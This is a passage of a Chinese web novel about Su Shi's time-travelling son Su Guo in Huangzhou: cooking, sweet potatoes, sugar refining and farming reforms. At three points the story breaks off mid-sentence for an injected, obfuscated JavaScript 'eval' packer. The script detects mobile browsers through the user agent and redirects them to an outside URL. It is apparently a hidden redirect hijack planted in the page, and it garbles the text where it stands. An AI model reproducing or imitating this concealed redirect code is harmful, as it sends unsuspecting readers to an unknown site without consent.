此时的科考还没有明清时期八股文的风气，因此破题也不拘于固定格式，反而力求见解独到。 对于发表见解什么的，苏过表示轻轻松松，想法信手拈来。 但科举必备教材包括本经五科与兼经两本，其中《礼记》和《春秋》两本更是内容庞杂、篇幅浩繁，备考一向不易。 理论上只需要从本经中选择一本，再兼经中选择一本来学习就好。 苏家家学渊源，从苏洵开始就善修《春秋》，苏轼当年科举更是《春秋》一科的头名。 但苏轼不愧是大佬，不但《春秋》擅长，其他《诗经》《易经》《尚书》《礼记》等都不差，教导儿子时更力求博览群书，自然不会这么早就将孩子圈在一本上面。 因此苏过的教材可以说是十分庞杂，每天都在拓展新书单。 幸好有一个好记性好脑子，不然还真跟不上。 苏轼接下新差事，便不能再像之前那样每旬才去点卯了。而且因要寻找合适匠人安排骟猪以及后续饲养工作。一开始可以说是忙的晕头转向，无他，热的！ 任谁在大热天里还要去猪圈视察，都会满心郁闷。 还好苏过很有眼色，见家里老苏与王氏等人都忙碌辛苦，于是总备上冰奶茶给众人送上。 如今夏日，黄州盛产莲藕，品质甚好。尤其是巴河一带的九孔莲藕，更是口感上佳。 夏季采收的头批莲藕，洁白如玉，鲜甜多汁，苏过用来做成凉拌藕丁，酸辣可口，十分解暑。 听说等到秋季完全成熟后再采摘，这批莲藕就会呈现出粉糯的口感，用来煲汤再好不过。 而且老苏痔疾经过一段时间的巩固也算恢复良好，终于被允许时不时吃一顿麻辣小龙虾。 于是在美食投喂下，老苏心情还算平和。 新来的徐知州不仅连老苏都敢任命干活，还是个十足的实干派，经常召苏轼前去询问养殖进度。 老苏本来是每旬去府衙点卯一次，现在几乎除了节假日每天都待在府衙。 要知道养猪这事儿，初期找到技艺出众且敢于骟猪的工匠的确需要费功夫，后续养护安排也是麻烦。 但正式进入养殖程序后，基本上就没老苏什么事了，只需要安排人观察好长势，记录数据即可。 毕竟老苏的养猪经验，肯定还是比不上农人丰富的。 头一个月过去后，老苏就基本不太有许多琐事了，但这种情况下，仍然每天必去府衙，就让苏过很是疑惑。 府衙到底有谁在啊，去的这么积极。 于是这日，苏过做了槐叶冷淘，准备亲自给老爹送到府衙，顺便看看是怎么一回事。 苏过来府衙多次，每次都会备上许多小零食，许多小吏都混了个眼熟，直接带他去找苏轼。 老苏正和徐知州在一起下棋。 没错，不是讨论公事，而是喝酒下棋。 听带路的小吏说，每天老苏和知州基本都要手谈一局，两人或是品画或是作诗，交情甚笃。 见状苏过还有什么不明白的，原来是交上了新朋友。 见儿子送来新吃食，苏轼连忙接下，顺便给徐知州盛上一碗。 时值酷暑，即使在室内也难免闷热难耐。 冷淘颜色鲜碧，再浇上苏过特制的辣油，红绿相间十分好看，吃着也很爽口解暑。 徐知州并不十分能吃辣，于是只加了一小点，配上陈醋，酸香味足，倒更解暑。 对于苏过的厨艺，徐知州印象深刻，又想起近日在城中看到十分受欢迎的麻辣小龙虾。 对苏过挖掘食材的能力十分佩服，“彘肉和小龙虾这等食材，苏小郎都能炮制的如此美味，实在是技艺非凡。” 苏过连忙谦虚了几句。 徐知州倒不纠结，反而问起虾稻共养相关事宜，显然已有听闻。 这也并不是什么机密，而且有更多人养殖的话，以后苏过收小龙虾也会更方面，没什么好藏着掖着的，将各种细节一一道来。 听罢，徐知州觉得十分有意思。黄州虽然水资源丰富，但也有大别山区，山中住着许多山民甚至蛮族，耕地有限，产量不丰。 如果能通过混合共养增加单位面积产出，那也是一桩美事。 “既然虾可以共养，那鱼是不是也可以进行类似养殖？”徐知州十分能举一反三。 “当然，虾稻、螃蟹、鸭子都可以混合养殖。除了水田，普通土地也可以进行套种，比如大豆和高粱一起。”苏过搜刮记忆想出了许多后世实践过的搭配。 其实如果有玉米的话，大豆和玉米一起种植是最好的。但现在还没有玉米，他的系统里也还没有解锁出来。 说起来最近店铺生意不错，距离下一级解锁也不久了。不知道能不能刷出一些高产作物。 听苏过列出如此多方法，徐知州眼里露出欣赏，然后就将目光投向了苏轼。 老苏一下子明白了徐知州的意思。 不是，我虽然叫东坡居士，但真的不懂种田呀。 最后老苏还是领了一堆新任务回家。 毕竟苏过号称这些点子都是从书中看到的，那么还有谁能比博览群书，又与苏过关系亲密的老苏更适合去落实的呢。 孩子还小，出出主意就好。事情，还是要大人去办的。 苏轼决定严禁苏过再往府衙里送吃食。 毕竟每送一次就多出一些工作，坑爹也不带这样的。 苏过欣然接受。 既然知道是跟徐知州成天对弈聊天，他才不去凑这个热闹呢。 好玩的那么多，各种新品还没安排，他才没那么多时间。 不过孝顺的苏小郎还是贴心的让家里准备了各种消暑饮子，让老苏带去解渴。 至于府衙，他就不去了。 接下来他要专心研究各种奶茶搭配，为新品推出做准备。 黄州这边茶叶资源丰富，英山云雾茶、黄州白茶、红安红茶品质都很出众，口味从清香到醇厚都能覆盖。 之前柳氏陪陈季常来探病的时候，不但给他们提供了养虾的水田。品尝完奶茶后更是十分喜欢，提到自己在山上有一片茶园，如果有需要，可以随时提供茶叶支持。 苏过能怎么办呢，只好抱紧另一只大腿啦。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455510|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不愧是在洛阳有庄子的人，隐居都这么阔气。 待各项事宜准备完毕，炎热的夏天也慢慢过去。 沸春居终于在立秋，推出了新款饮子。 奶茶出乎意料的受欢迎。 吃钵钵鸡的顾客喜欢点一杯奶茶，解辣。 吃养生锅的顾客也喜欢点一杯奶茶，健康。 要不是目前奶茶只在沸春居内随餐才能点，更多人估计会单点奶茶，毕竟以往聚会聊天都是喝茶饮酒，如今换成奶茶，也不乏是另一种风味。 即便如此，每天来问可不可以只点奶茶的人也很多。 经过观察与考虑，王朝云建议将奶茶分离出来，单开一家饮子店。 苏过当然赞成，奶茶店本身就是很好的生意。 只不过这样一来，王朝云和王氏要忙的事情就更多了。 不过看她们的样子，应该是比较乐在其中。 这边的奶茶店还要再详细安排才能开张。 但汴京城里的沸春居已经开始推出养生锅了。 餐饮行业，特色经典固然重要，但菜单也要常换常新才能吸引顾客。 苏过收集了许多的养生方子，再搭配这边低廉的药材资源。 支持汴京也增加养生菜单毫无压力。 章惇和王诜刚收到老苏的信件不久，还在诧异对方竟然这么有闲心研究养生，就听说城里沸春居新上了养生锅，哪里还有什么不明白的。 苏家小郎真是能折腾。 于是王诜让厨子按食谱安排饮食，把宝安公主都安利上了，倒治好了公主气血虚的症状，吃了一阵后，原本有些生病发虚的身体好了许多。 这倒是意外之喜，王诜与宝安公主曾育有一女，却年幼夭折，之后公主身体一直不好，王诜受牵连被撸掉一切职务后，公主忧思之下，身体更是一日不如一日，在原本历史中，不久就会病故。而王诜更是因此更遭官家厌弃，被贬均州。 如今公主身体好转，两人都十分开心。 章惇则向来没那么讲究，更懒得研究方子。直接约同僚们在沸春居聚餐，品尝特色养生锅底，仿佛不经意般提到这是被贬黄州的苏轼一家研究出来的吃食。 原本因苏轼被贬而沉寂下来名人圈，又开始忆及老苏的文采风流。 随着苏轼名气小复苏，越来越多的好友信件开始飞向老苏。 甚至连荆国公王安石都写信来问候。 老苏虽然是旧党成员，但其实对新法并不是全然排斥态度。 尤其是王安石自变法以来，神宗时期每年国库收入几乎较仁宗年间翻了番。 军事和科举改革也见效明显。 对于有用的政策，老苏是举双手欢迎，只是要不要实施，如何实施，还需要根据地方情况进行处理，免得适得其反。 就像近期老苏负责的几个项目，也是在安排过程中，才发现许多细节问题，处理十分困难。 王安石在庶务上很是精通，于是老苏在回信时，特地将黄州的许多情况一一描述告知，共同探讨可以怎样提升经济民生。 一来二往，竟也讨论的十分火热。 苏过看到他俩信件时都惊呆了。 老苏你不是旧党么？这算是怎么回事。 22. 重阳登高 不仅老苏与王安石交流密切，远在京城的章惇章大佬也发来信件。 先是对老苏这么晚才报平安表达了小不满，又对老苏沉迷美食表示了谴责，更重要的，是责问老苏还记不记得在汴京时说好的理论结合实践。 这么久了，都还没看到老苏实践的成果，这像话么。 整封信辞藻优美，用典丰富，关键是情绪递进十分清晰，大佬不愧是大佬，日常信件都如此有文采。 当着苏过的面，老苏将看完的信放到一边，忽视他的探头探脑。 但苏过可没这么好打发，捧着脸问老爹，“章伯伯来信了么？写了什么呀，有没有说养生食谱喜不喜欢。” 苏轼假装虎着脸，“别给谁都寄你的养生食谱，子厚可不是喜欢这些吃喝玩乐的人。” “哦，那就是问你正事了呗，之前说好的研究地方政策，爹你可以跟章伯伯讨论一下呀。” 别以为他不知道老爹最近和王安石聊的正开心，别把章大佬的约定给忘了。 苏轼才不会告诉儿子自己的确忘了，前几封信都只分享了在这边的吃喝日常。 这也不能怪他不是。 毕竟坐了半年的冷板凳，他就是想实践也没有发挥空间。 最近新差事是多，但农耕这种事也需要遵循时节，如今都快秋收，保产量是最重要的事。 许多新种植方法也只能等明年春耕再尝试。 倒是养猪颇见成效，这边大别山的黑猪本身肉质就肥瘦刚好，肉质筋道有弹性，肉香浓郁，通过骟猪养殖后更是能吃能睡，入秋后贴了厚厚的秋膘，可以预见等年底时收获会非常不错。 思及此处，苏轼铺上信纸，唰唰唰就开始给章惇回信，洋洋洒洒讲述了自己的养猪成功。 又顺便描述了等猪长成再做东坡肉的美好场景。 那口感和味道都很绝。 在汴京肯定吃不到，不过没关系，烹饪方法奉上，正好添一佳肴。 苏过看着亲爹回信，心里默默摇头，等章大佬收到回信，估计又会把老苏念叨一番。 蹭看完信件苏过就准备开溜，却被老苏拉住。 “看了这么多信，你倒是来说说想法。”许多差事本来就是这小子在知州面前念叨才弄出来的，结果开了个头就跑了没影儿，有热闹才凑过来，哪有这么好的事。 苏过被拉住也不着急，当下就开始思考可以做哪些事情。 毕竟古时以农业为重，哪怕到现代，农业对中华民族来说也是重中之重，很多东西现代都已经习以为常，没有刚好碰到对应场景或者专门去思考的话很难想起来。 更重要的是还要考虑这些东西适不适合现在，以及怎样合理的拿出来。 “王大人不是已经提过许多设想么？咱们择优尝试就好了呀。”苏过看过他俩的信件，针对黄州的情况，王公特地提到可以兴修水利，开垦荒地。 毕竟黄州物产丰富，品质颇高，但一直不算富饶，根本原因还是地势原因。 多湖多山，耕地偏少，山地灌溉不便，山下又常有洪涝，这样一来就难免总产量不高了。 现在虽然说还是秋收时节，但秋收之后到春耕之前，正好适合选种育苗，开垦田地，各种肥田措施也可以做起来，等明年春耕时就能很好施展了。 许多基础的堆肥方法，苏过还是记得的。 扩大种植面积，提高单位产量，不愁达不到效果。 还有王公之前提出的青苗法，募役法，都可以用起来。 毕竟新政被诟病的其实是执行过程中的乱象，但这边徐知州一看就是好官，还有自己人盯着，怎么都能好好执行下来吧。 零零散散想了许多，苏过想到什么就在纸上写下，列了满满好几张纸的想法。 苏轼听他念叨完才收走稿纸，这么多东西，看来平时看了不少杂书，功课还可以再加一些。 至于这些想法，苏轼将其整理分类，第二天就去找徐知州了。 毕竟这么多事情，他一个人可忙不过来。 分出去，全都分出去。 没过多久便到重阳节，徐知州约了苏轼一家登高秋游。 徐知州正妻早逝，长子在南京任职并未随行，反而是弟弟徐得之陪同，平日里无论是生活还是公务都帮助良多。 年幼子女在这边的倒是有三个，均是妾室所生，最大的跟苏过差不多，最小的跟簞哥差不多大。 这次登高，还带了他最宠爱的妾室胜之一起。 簞哥儿也逐渐到爱跑爱跳的年纪，尤其是身体养好后精力更是旺盛，在家里每天到处跑，如今出来玩更是十分兴奋。小脚跑的飞快，吕氏都要追不上他。 徐家小朋友文哥儿是个人来疯的性子，跟簞哥儿一起跑的不亦乐乎。 山上时不时还有各种小动物钻出来，苏轼和苏迈有带弓箭，待一行人爬至山顶后便和徐知州去打猎。 两个小孩儿见状还想跟着去看，被苏过一把拉住，哄着去捡野栗子。 黄州这边栗子品种非常好，连野生栗子都个头十分饱满。 有事情做小孩子就非常开心，几人捡了一大捧栗子回去，老苏他们也猎到几只野鸡回来了。 虽然只是小型猎物，苏轼却十分尽兴，很久没有活动筋骨，骑射都快生疏了。 见猎到的是野鸡，苏过便让老苏等人一边生火一边处理好猎物。 小孩子则被他带去和泥巴，之前捡栗子时刚好看到有一片地方是黄泥，和好一堆软硬适中的泥土，又摘了几片大叶子回来，准备开始做叫花鸡。 因知道今天要在外面野餐，苏过提前准备带了许多调料，还有做了一些点心零食带上。 本以为大概率是烤肉，但看到野鸡的时候突然想到可以做叫花鸡，虽然材料不全，但野鸡肉香，调料也够丰富，做出来绝对美味。 带着两个小孩半玩半做的糊好两只鸡，埋好生火，顺便还埋了许多野栗子进去烤，趁其他人不注意，苏过往火堆里又埋了个东西。 叫花鸡烤制时间很长，大人们便各自找位置坐下看风景聊天。 胜之见状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459829|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提议舞一曲助兴，当下便跳了一曲霓裳羽衣，徐知州在一旁击节唱和。 胜之不愧是徐知州最宠爱的妾室，舞姿优美，歌喉空灵，即使在山野间随性舞出都很具美感，连苏过都看得十分感兴趣。 一曲舞完，胜之靠在徐知州身旁休息，老夫少妻，老苏见状，调侃徐知州真是老大逢欢。 徐知州哈哈一笑。 正在烤鸡的苏过听到在心里瘪瘪嘴，老苏你也别老二说老大。按原本发展，要是纳了王朝云的话，也是个老牛吃嫩草。 说笑间，火堆里已经开始传出香味，栗子烤好了。 将一群闻到香味凑过来的小孩隔开远离火堆，苏迈拿木枝将栗子扒拉出来。 栗子壳已经烧的焦黑，有些裂开来，露出里面金黄色的果肉。 香气更浓郁，小一点的孩子都吵着要吃，好容易才哄住，等不再那么烫后分给众人。 吕氏正准备剥栗子给簞哥儿，他却等不及自己拿了一个啃，满嘴满脸都弄得漆黑。 文哥儿也有样学样，惹的一群大人忍俊不禁。 烤栗子也不多，一人分吃一点后，叫花鸡也焖的差不多了，徐知州弟弟和苏大哥一起将火堆移开，挖出裹着黄泥的叫花鸡。 黄泥已被烤硬，用石头敲开，鸡肉的香气瞬间爆发出来。 苏过搭配的酱料完全浸润进鸡肉，再烤出脂肪里面的油，整只鸡看起来油润鲜香，因是在野外，没那么多工具，所有人便直接擦干净手后直接撕着吃，倒也别有一番滋味。 若是夏天，还可以用荷叶来裹着做叫花鸡，鸡肉会有荷叶香味，香味层次更丰富。 不过如今这样已经很满足了。 一行人吃的意犹未尽。 苏大哥正整理火堆熄灭火星，却发现灰烬里有一块像石头一样烧黑的东西，却又有点软。 扒拉出来，正准备用树枝戳开细看。 苏过看到立马跑过来，将黑色硬块捡起来，用手一掰，露出里面橙红色的果肉，一股香甜气息散开。 “这是何物？竟然闻着这么香。”苏大哥见状问道。 “刚刚和簞哥儿他们捡栗子时捡到的。不知道怎么吃，就直接扔火里烤了。”苏过假装不懂道。 簞哥儿见状也跑过来附和，“树林里捡到的。” 靠近了闻更是香，簞哥儿十分想吃。 苏迈正想说不知是何物，不要吃。 苏过已经掰了一块下来吃起来，“很甜。” 其他人见状也围过来。 见苏过不知道是什么的东西也敢往嘴里喂，苏轼瞪了他一眼，“君子不立危墙，不知名的东西怎可随便吃。” 王氏也十分关切的拉着他看，生怕出现异常。忙唤辩才法师来帮忙把脉看一下。 只有簞哥儿见小叔叔都吃了自己却还吃不到，在一旁闹着不肯。 苏过无奈只能先放下东西让辩才法师检查。 虽然他知道，这个东西绝对一点问题都没有。 因为此物是他特意扔进去的，红薯。 23. 冰糖葫芦 不得不说，奶茶加火锅的吸引力还是很大的。新店开后不久，苏过积攒的满意值就足够解锁下一级了。 点了升级后，苏过查看系统，这一次系统还算大方，解锁了好几样零食还有红薯。 虽然泡泡糖，口香糖什么的零食没啥大用。但同时解锁的还有一个白糖方子。 北宋制糖产业已经有所发展，冰糖黄糖一类都有，算是当下的奢侈品。但精制的白糖还没有出现，可以预见如果能做出白糖会有多么受追捧。 不过目前的重点是红薯。 老实说刚看到红薯时苏过还有点失望来着。 毕竟几大经典作物中，玉米可以做爆米花，土豆可以炸薯条，更是有各种好吃的菜色做法。 而红薯发挥空间就有限了。 苏过甚至有点懒得编造一个大费周章的来历。 刚好出来秋游，捡栗子时见到满地各种植物，突发奇想就扔了一些在林子里，然后带着簞哥儿他们当做普通野生作物捡了回来。 不过当烤红薯的香气爆发出来时，苏过还是十分惊喜。 不愧是系统出品，品质真好，估计是烟薯品种，烤后十分香甜，甚至带着薯油，所以前面苏过才忍不住直接就吃了起来。 被苏轼和王氏一起声讨后，连忙装乖，让辩才法师检查身体。 自然身体是查不出什么异样的。 “捡到的时候有看到小动物啃过来着，肯定是没毒的，不然我哪敢直接吃呀。”苏过解释道。 听到这里大家才放下心来。又见红薯实在很香，胆子大一点的苏轼和徐知州等人便也分吃起来。 簞哥儿小朋友什么的肯定是不敢给他们吃的。 不得不说，甜食永远是很受欢迎的。 吃到红薯的美味后，老苏与徐知州忙问这是哪里发现的，想去看看。 苏过就等他们问呢。 带着他们去埋红薯的地方。 系统十分贴心，兑换红薯时可以选择带植株或者不带。 苏过直接兑换了几株完整的植株埋在林子里，假作部分果实被挖上来的样子。 果然，其他人并没有起疑，只当是野生植物。毕竟这年头未被发现和认识的植物还是很多的，大多数时候发现的人并不敢尝试，也就忽视过去了。 将附近发现的几株红薯都挖上来。苏轼倒很快发现了重点，“这种植物小小一株便结出如此多的果实，若能用来种植，岂不是产量可观。” 那当然可观，后世饥荒年间，基本都是靠红薯才养活那么多人的。虽然老一辈国人基本都吃到腻，但对于还没吃过的人来说，红薯依然是十分的美味。 徐知州听了也十分感兴趣，“不知这种植物如何种植，习性如何，若便于种植，那就是神物一件了。” 就产量和种植难度而言，的确是神物一件，苏过发现自己有点想当然了。竟然还嫌弃红薯，对这个时代而言，红薯可是宝贝。 好在老苏和徐知州很是识货。 接下来苏过就不管了，毕竟红薯对种植要求并不高，而且这种根茎类作物，经验丰富的农人一般看一下就知道怎么种植，要么切块发芽，要么插杆种植，说不定比他这个门外汉还要擅长。 到时候种失败了也不打紧，大不了他再找几个地方让长出来一些就好。 只是可惜决定要尝试种植后，所有的红薯就都被没收留种了，不然还可以做个拔丝地瓜什么的。 收获新作物的徐知州和苏轼倒十分开心。深觉这次登高十分有收获，两人诗词相和，十分融洽。 见徐知州中气十足的样子，苏过总觉得忘了什么事。可明明红薯的出处已经解决，还有什么事呢？ 直到看见辩才法师沿路一边赏景一边教二哥识别草药，苏过才想起来，今天本来想让辩才法师帮忙看下徐知州身体来着。 记忆里徐知州这个任期结束，刚到下个地方就去世了，幼子还是托付给弟弟照料的。说不定是有什么隐疾呢，最好早发现早治疗。 上次在府衙见老苏和徐知州喝酒下棋时苏过就想起来这件事，只是一直没找到机会。 总不能说，知州大人，我观你印堂发黑，恐有一病吧。 刚好辩才法师也在，能看出来那就再好不过啦。 于是快到山脚时，苏过假称让辩才法师给他们再检查下身体，毕竟他们都刚吃过地瓜。 没错，刚刚这种植物被老苏命名为地瓜，因为是长在土地里面的。 苏过听到这个名字简直举双手赞成，果然从古至今命名都是相通的。 苏轼听到说检查下身体也觉得很有道理，主动让辩才法师给他看看。 辩才法师一一把脉，苏家父子都没什么问题，只是老苏被提醒又有些内火旺盛，需戒一戒辛辣，不然痔疾又要犯了。 果然看医生还是不应该太积极，老苏假装没听到。 待到徐知州时，辩才法师把脉后又细细观察，沉吟许久，弄得众人都紧张起来。 新发现的地瓜别是有什么问题吧。 辩才法师摇摇头，“与地瓜无关，知州大人脉相艰涩不畅，如轻刀刮竹，恐气血淤滞，影响寿元。” 徐知州本来只当普通看诊，却没想到得出如此结论。 “大人是否时常有心绞痛之症？”辩才问道。 在一旁的徐得之连忙回道，“确有此症，兄长一直以为是劳累所致。” 辩才法师点点头，“案牍劳累的确容易心悸，但大人更多还是气血原因，若不疏淤补液，症状会越发严重。” 辩才法师的医术还是十分出名的。 听到他下此诊断，徐知州与其弟弟都严肃起来，若果真如此，倒要好生治疗一番。 此时在山上不便开方诊治。 于是众人约好明日来苏家拜访再行问诊。 治病救人本就是佛家慈悲，辩才法师自然乐意至极，点头应下。 快到山脚时，徐家二郎岚哥儿突然发现几棵树上结满红彤彤的果子，“快看，红果。” 苏过走近一看，原来是山楂。 山楂即使成熟后也普遍偏酸，时人并不爱吃，多拿来入药。 岚哥儿捡了一颗尝尝后也立马扔掉。 苏过却看着红彤彤的山楂冒出一个想法，冰糖葫芦，这不就来了么。 忙招呼苏大哥等人帮忙多摘一点红果，务必要个大饱满没有虫蛀的。 对苏过要这么多酸酸的果子表示疑惑。 但苏过夸口说能做出特别好吃的东西，出于对他厨艺的无比信任，大家都来帮忙采摘，最后选出一大口袋。 约上徐家几个小朋友明天一起来苏家吃好吃的。两家人在山底道别，各自归家。 第二天徐知州果然如约前来找辩才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466158|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法师看诊。 徐家三个小郎也跟着过来，准备尝尝苏小郎说的好吃的。 苏过正在厨房熬制糖浆。 本来是准备用新获得的白糖方子制作一些白糖来做冰糖葫芦的。 结果昨晚苏过仔细一研究，根本没那么简单，要做白糖得从熬糖浆开始。 在没有现代机械的帮助下，古时做白糖要用“黄泥水淋脱色法”。 将甘蔗熬出的红糖用陶器漏斗，加入黄泥水吸附杂质，多次操作后才能得到洁白的糖霜，即白糖。 别的不说，那个叫瓦溜的陶器漏斗都要定制。 苏过只能暂时搁置，先用现有的冰糖来做冰糖葫芦。 其实本来冰糖就要比白糖更适合，做出来的糖皮晶莹剔透，口感酥脆。 所有的小孩包括苏二哥都围在厨房看苏过做糖葫芦。 红艳艳的果子裹上糖浆，闻着锅里糖稀发出的甜香味，几个人更不愿意离开。 直到苏过等糖皮变硬，给围在厨房里的人一人发了一串糖葫芦，大家才勉强散开。 山楂被一个个串在竹签上，吃起来十分方便，一口咬下去，先尝到的是脆脆甜甜的糖衣，然后是酸甜的山楂，糖的甜味中和了酸味，搭配在一起反而酸酸甜甜十分好吃。 小孩子对甜食完全没有抵抗力，除了箪哥儿和文哥儿只给了两颗尝鲜外，别的几人都是一口接一口。 苏过端着冰糖葫芦去找老苏他们。 徐知州已经看诊完毕，辩才法师在写药方。 众人看到苏过端着新吃食过来都很期待。 冰糖葫芦成功俘获老中青三代人的好评。 王氏准备将其加入沸春居甜品菜单。 苏过无可无不可，毕竟冰糖葫芦做法还是挺简单的，相信上不了多久，就会有人仿制了。 不过苏过也并不在意，毕竟，让更多人吃到比赚钱要有意义的多。 而且，在印象里，糖葫芦还是要小贩们拿着稻草扎满糖葫芦沿街售卖才合适呀。 看完病的徐知州又拉着苏轼聊了许久各种农业新政，之前苏轼交上来的许多建议都要安排人落实下去。 而远在南京的王安石也收到了苏轼新寄去的信件。 自罢相后，王安石一直住在南京“半山园”中，每日骑着小毛驴，要么去定林寺读书小睡，要么去山里转悠，经常太阳快落山才回家。 这日一到家就有仆从递来今日新收到的信件，是苏轼小友的。 信中提到他的开荒等建议都有开始实施，而且他们新制出来更好的肥料，想必明年收成会很不错。 苏轼作为旧党，在乌台诗案时，王安石就有专门上书陈情，直谏神宗，“安有圣世而杀才士者乎！”，为苏轼的开释贡献了不小的力量。 而今与苏轼交往愈深，发现苏轼不仅文学上才能出众，经济民生方面更是很有见地。两人聊的十分融洽。 不知距离明年春耕还有许久，黄州那边能否有更多进展。 身在黄州的苏轼表示，有进展，进展实在是太多了。 本来呈上条例后苏轼是想把各种任务都分出去的。 却没想到徐知州担心其他人执行不力，让苏轼总揽全局，于是任务并没有少多少。 而昨日出去散心秋游，结果又新增一项地瓜种植任务。 做不完，真的做不完。 24. 王家兄弟 老苏从懒散状态切换到牛马模式，每天苦哈哈去点卯上班。 苏过倒清闲了下来。 毕竟店里有王氏和王朝云照看，老苏忙于公务，能做的也只有给他布置功课。 但这些对苏过而言还是很游刃有余的。 于是他准备好好研究下新获得的制糖方子。不知道这种调味品或者说基础用品能不能增加满意值。 这一日苏过终于拿到专门找匠人定做的瓦溜，一个上宽下尖、底部有小孔的漏斗状陶器。 将凝固好的红糖放在瓦溜中，用黄泥水缓缓渗透红糖块，吸附掉色素与杂质。 剩下的晾干，就是洁白的糖霜--白糖啦。 整个过程苏过操作的并不熟练，试了好几次才成功制作出一小罐白糖。 但不得不说，成品还是很让人惊喜的。 洁白细腻的糖霜，感觉空口吃都很让人满足。 当然，身为金牌厨师肯定是做不出直接吃糖这种事的。 于是当下便决定做一点甜品。 这时就不得不怀念红薯了，白糖超级适合做拔丝系列来着。 希望明年能吃上。 做不成拔丝地瓜没关系，苏过决定最大限度保留白糖的形态，咱们做白糖糕。 糯米粉揉成细条围成小圈，放入油锅里炸到金黄，再趁热裹上白糖。 外皮酥脆，内里软糯，整道甜品甜而不腻，完美！ 家里人对这道甜品也都很喜欢。 只看着表面白色的糖霜，苏二哥十分好奇，“这是什么糖呀，这么白。” 苏过端出准备好的一小碟白糖。 “新制作的白糖，要是觉得不够甜的可以再蘸一点儿。” 原本还当普通甜品尝试的众人忙围过来看。 从未见过如此洁白的糖。 尝了下甜度也并不比红糖低，甚至还多了一点清甜。 苏轼忙问，“这种糖是怎么做出来的？” 苏过如此这般讲了一遍。 老苏沉吟片刻，“倒也不算复杂，可惜黄州此处并不适合种甘蔗，想大量制作也不适合。” 苏过想了想也是，不过也不算可惜，他已经试过，单纯白糖给他人食用并不能带来满意值，只有自己做的糕点才可以。 那这样的话苏过的推广热情就不高了。 毕竟，白糖虽然难得，但的确如老苏所言，黄泥水淋法并不复杂，一旦推出很容易被破解。 而且时人虽然喜甜，但能买得起糖的还得是富庶地区。 年幼的苏过哪来的人脉去甘蔗产地制糖，然后运到富庶地区售卖呢？ 苏轼认识的也多是文人。 算了算了，先放着吧。 果然最缺的，还是人才。 快来个帮忙做事的NPC吧！ 苏过内心祈祷。 苏过还在可惜不能经营白糖生意，苏轼却在发现白糖不能用在此地后就暂时抛到了脑后。 毕竟他现在要忙的事情很多。 秋收已过，之前计划的许多开垦荒田、堆肥还有兴修水利事项都要启动起来。 还好经过前段时间的培训，已经将许多事宜安排交接给别人，否则老苏要忙的连家都回不了。 苏二哥正忙着跟辩才法师学习医术，苏大哥准备参加科考，一个个都忙的不见人影，于是只有苏过成天被老苏抓着布置功课。 好在玩的时候老苏也总是记得带着他。 这日，苏轼带着苏过正在江边垂钓。从对岸划过来一条小船，船上站着一个年过花甲的老人，满脸胡子，靠岸后手里提着一壶酒和一包东西就往岸上走。 见周围只有苏家父子二人，过来问路，“请问小郎君知道苏子瞻家住何处么？” 苏过听到十分稀奇，于是指了指老苏，“喏，这里。” 苏轼也看过来，只见是一个不认识的生面孔，“在下苏子瞻，不知兄台有何事？” 来人十分惊喜，“真是太巧了，没想到竟能在此偶遇。” 来人叫王齐万，还有个兄长王齐愈，两人都是蜀地嘉州人，如今正居住在对岸武昌县。 久闻苏轼大名，听说如今正在黄州，便特地来拜访，邀请苏轼去王家做客。 老苏十分惊喜，他向来是爱交游的性格。没想到在此处还能遇到专门来拜访的粉丝，忙要收杆带王齐万去家里玩。 王齐万却推辞，只说自己是受兄长所托来邀请老苏的，如今既已寻到，便不再叨扰，明日务必携小郎君来做客。 苏轼满口应下，两人又畅聊许久，席地而坐喝酒钓鱼，谈的十分尽兴。 苏过在一旁吃着王齐万带来的果子，对老苏的交友能力又刷新了认知。 第二日刚好无事，老苏带着苏过渡江前去赴约。 王家兄弟住在武昌县车湖，此处也是个有名的地方，囊萤夜读的车胤就安葬在这里。 王家宅院在一处风景秀丽的山谷中，十分壮观，可以说是碧瓦朱栏，一看就家底殷实。 这些隐居的人怎么一个比一个有钱。 王家兄长王齐愈倒是蓄了个文雅的小胡子，比弟弟更带些文人气质，看起来身体十分硬朗。 听闻苏轼登门，两人忙到门口相迎。 让仆从将苏家父子带来的点心送到厨房，王家兄弟带着两人游览庄子。 闲谈中才知道，王家兄弟竟然也来头不小，王父曾是西蜀首富，家里还曾和真宗刘皇后家联姻，可以说是显赫一时。 可惜后来家道中落，兄弟二人变卖家产搬来此处，难怪宅子看起来如此华丽，看来家底不少。 两人搬家时别的都变卖了，家中藏书倒一路带着，装了百余车，宅中特意修了一座藏书楼。 苏轼看的十分喜爱，他本就是爱书之人，自幼时起便博览群书，来此处后因地处偏僻，并未携带太多书籍，也无处可借，此时见如此丰富的藏书，简直如久旱逢甘霖。 